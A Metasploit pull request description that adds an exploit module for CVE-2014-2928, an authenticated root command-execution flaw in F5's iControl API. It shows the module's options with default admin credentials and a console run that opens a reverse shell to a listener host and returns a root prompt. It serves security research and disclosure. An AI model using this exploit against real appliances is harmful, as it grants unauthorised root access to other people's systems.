rapid7/metasploit-framework — pull request #3900 by brandonprry (2014-09-27 15:48:04+00:00)
Title: Create f5_icontrol_exec.rb

This module will exploit CVE-2014-2928, an authenticated command execution as root vulnerability in the iControl API on F5 appliances. This module was demoed in my Derbycon talk. A second module is PR'ed along side this to brute force credentials in the iControl API.

http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html

Any user with access to the API can become the root user on the box.

```
msf exploit(f5_icontrol_exec) > show options

Module options (exploit/linux/http/f5_icontrol_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes The password to authenticate with
Proxies no Use a proxy chain
RHOST 192.168.209.4 yes The target address
RPORT 443 yes The target port
SSL true yes Use SSL
TARGETURI / yes The base path to the iControl installation
USERNAME admin yes The username to authenticate with
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.209.3 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 F5 iControl

msf exploit(f5_icontrol_exec) > exploit

[*] Sending payload in chunks, might take a small bit...
[*] Started reverse double handler
[*] Triggering payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo MItQndpb3hjQKkBL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "MItQndpb3hjQKkBL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 3 opened (192.168.209.3:4444 -> 192.168.209.4:60494) at 2014-09-27 08:45:50 -0700

id
uid=0(root) gid=0(root) context=system_u:system_r:f5util_t

```

F5 has known about this since February of this year, and it still isn't patched it seems. You can download a BIGIP appliance trial from F5's website.